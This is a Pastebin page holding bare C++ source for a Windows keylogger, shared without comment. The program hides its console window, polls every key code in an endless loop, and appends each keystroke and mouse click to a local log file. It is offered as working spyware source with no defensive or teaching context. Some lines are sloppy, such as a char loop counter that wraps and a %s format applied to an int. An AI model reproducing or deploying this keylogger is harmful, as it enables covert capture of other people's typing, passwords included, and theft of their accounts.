Advertisement
Guest User

Untitled

a guest
Sep 19th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. #include <iostream>
  2. #include <Windows.h>
  3.  
  4. int save(int key, char* file);
  5.  
  6. int main() {
  7. FreeConsole();
  8.  
  9. char i;
  10.  
  11. while (true)
  12. {
  13. Sleep(10);
  14. for (i = 8; i <= 255; i++)
  15. {
  16. if (GetAsyncKeyState(i) == -32767)
  17. {
  18. save(i, (char*)"log.txt");
  19. }
  20. }
  21. }
  22.  
  23. return 0;
  24. }
  25.  
  26. int save(int key, char* file)
  27. {
  28. std::cout << key << std::endl;
  29.  
  30. Sleep(10);
  31.  
  32. FILE* output_file;
  33.  
  34. output_file = fopen(file, "a+");
  35.  
  36. switch (key)
  37. {
  38. case VK_SHIFT:
  39. fprintf(output_file, "%s", "[SHIFT]");
  40. break;
  41. case VK_CONTROL:
  42. fprintf(output_file, "%s", "[CONTROL]");
  43. break;
  44. case VK_BACK:
  45. fprintf(output_file, "%s", "[BACKSPACE]");
  46. break;
  47. case VK_LBUTTON:
  48. fprintf(output_file, "%s", "[LEFT_MOUSE]");
  49. break;
  50. case VK_RBUTTON:
  51. fprintf(output_file, "%s", "[RIGHT_MOUSE]");
  52. break;
  53. case VK_RETURN:
  54. fprintf(output_file, "%s", "[RETURN]");
  55. break;
  56. case VK_ESCAPE:
  57. fprintf(output_file, "%s", "[ESCAPE]");
  58. break;
  59. default:
  60. fprintf(output_file, "%s", &key);
  61. }
  62.  
  63. fclose(output_file);
  64.  
  65. return 0;
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement